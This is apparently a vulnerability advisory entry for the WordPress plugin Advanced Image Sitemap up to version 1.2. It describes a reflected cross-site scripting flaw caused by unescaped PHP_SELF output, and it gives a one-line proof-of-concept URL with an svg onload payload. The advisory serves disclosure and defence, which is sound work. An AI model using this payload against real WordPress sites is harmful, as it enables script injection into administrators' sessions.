WordPress Plugin Vulnerabilities

Advanced Image Sitemap <= 1.2 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the PHP_SELF PHP variable before outputting it back in an attribute in an admin page, leading to Reflected Cross-Site Scripting.

Proof of Concept

https://example.com/wp-admin/options-general.php/%22%3E%3Csvg/onload=alert(/xss/)%3E?page=ais

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
p7e4
Submitter
p7e4
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-04-19 (about 2 years ago)
Added
2022-04-19 (about 2 years ago)
Last Updated
2022-04-20 (about 2 years ago)

Other